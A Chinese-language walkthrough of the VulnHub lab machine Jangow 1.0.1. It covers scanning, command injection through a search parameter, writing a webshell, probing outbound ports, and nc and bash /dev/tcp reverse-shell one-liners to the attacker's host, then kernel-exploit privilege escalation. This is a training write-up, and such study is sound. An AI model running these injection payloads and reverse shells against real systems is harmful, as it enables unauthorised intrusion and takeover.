系列:Jangow(此系列共1台)
发布日期:2021年11月4日
难度:低
提示信息:爆破是拿下靶机的重要手段
目标:取得 root 权限 + Flag
学习:
靶机地址:https://www.vulnhub.com/entry/jangow-101,754/
netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。
sudo netdiscover -i eth0 -r 192.168.56.0/24
nmap -p- 192.168.56.118
nmap -p21,80 -A 192.168.56.118
把页面上的按钮点个遍,发现点击右上角的“buscar”按钮会跳转到下图页面,看起来像是要我们输入一些内容
http://192.168.56.118/site/busque.php?buscar=echo '' > cmd.php
碰到这种情况,可能是存在端口限制。这里使用nc
探测可用端口(一般服务器不会对80、443端口做限制),这里出于演示目的,说明一下该怎样探测出网端口。
sudo iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234
# !/bin/bash
for i in $(seq 1 65535)
do
timeout 1 nc -vz 192.168.56.102 $i && echo "$i open" >> out.txt || echo "$i closed" >> out.txt;
done
echo "all port done"
你可以使用dos2unix
或者notepad++来转换上面的文件内容为Unix格式的,不然蚁剑运行的时候会出错。
我在这里花费了1个小时的时间,百思不得其解为什么sh脚本已经运行完了,但是却没有反弹shell,如下图。我甚至开启了wireshark抓包,但是抓不到任何数据包!
在反复猜疑中,我刷新蚁剑时,发现扫描结果导出文件“out.txt”的大小在变化,我恍然大悟。由于靶机对端口做了限制,才导致wireshark抓不到流量,但是靶机还是一直在尝试连接kali,虽然蚁剑里面出现了新的对话框,但是后台还在尝试连接中,只有继续耐心等待才行!
当发现kali那边建立反弹shell时,我在导出文件中发现了开放端口443
既然我的目的是探测靶机出网端口,这又是个命令执行漏洞,可以这么搞。如下图,我还是在kali上把1-65535所有端口绑定到某个端口上,并对其监听,同时开启抓包,然后借助命令执行漏洞对不同端口进行爆破。
当nc建立连接,tcpdump抓到数据包的时候,就可以暂停爆破了,通过抓包发现靶机可以与kali的443端口建立连接!另外,测试的时候发现,在尝试了第一种排雷姿势的时候,需要重启靶机才能正常使用第二种排雷姿势!
特别注意:
我最初是打算将爆破结果导入到一个文本中的,借此判断出网端口,但是导出的文件是空的。出现这种情况的原因很简单,抓包可以看到没有响应体,所以导出的文件是空文件。因此,我最后是采用了tcpdump抓包的方式来判断出网端口。
除了用nc,还有被的姿势吗?有的。
写个python脚本,利用telnet反复探测
import requests
url = "http://192.168.56.118/site/busque.php?buscar=telnet%20192.168.56.101%20"
for i in range(440, 65536):
try:
payload = url + str(i)
req = requests.get(payload, timeout=1)
if "Trying" in req.text:
print(i)
except:
pass
我这里重启了kali(它的ip从102变成了101),消除了设置的iptables,反弹shell看起来失败了,应该是靶机的nc缺少-e
参数导致的
对下面内容手动做url编码:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.56.101 443 >/tmp/f
不仅是nc,bash反弹shell也是实战中用的最多的方法,对下面内容手动做url编码:
bash -i >& /dev/tcp/192.168.56.101/443 0>&1
换一种姿势呢?成功了
bash -c 'bash -i >& /dev/tcp/192.168.56.101/443 0>&1'
如果再失败的话可以考虑指明bash的位置,因为打靶机的时候碰到过这种奇葩情况
which bash
/bin/bash -c 'bash -i >& /dev/tcp/192.168.56.101/443 0>&1'
提权环节就很简单了,发现靶机的内核版本是16.04,应该可以内核漏洞提权
这里搜索到好几个提权脚本,经过测试,45010.c可以成功提权。投递exp的时候,发现既无法wget下载,也无法通过nc投递,只好借助蚁剑上传了。
靶机作者提示,爆破是拿下靶机的重要手段。
结果发现,爆破出来的账号密码可以ftp登录和系统登录。那这不省事了?依然是熟悉的内核漏洞提权
编译exp通过ftp投递到靶机上面,这里有一个大坑,字符/
在靶机上面打印不出来,导致无法正常运行exp,仔细观察一遍键盘后,我发现,除了字母区右侧有/
符号,数字区上面也有/
符号。最终借助数字区上面的/
符号成功运行exp,提权成功。
靶机练习-JANGOW: 1.0.1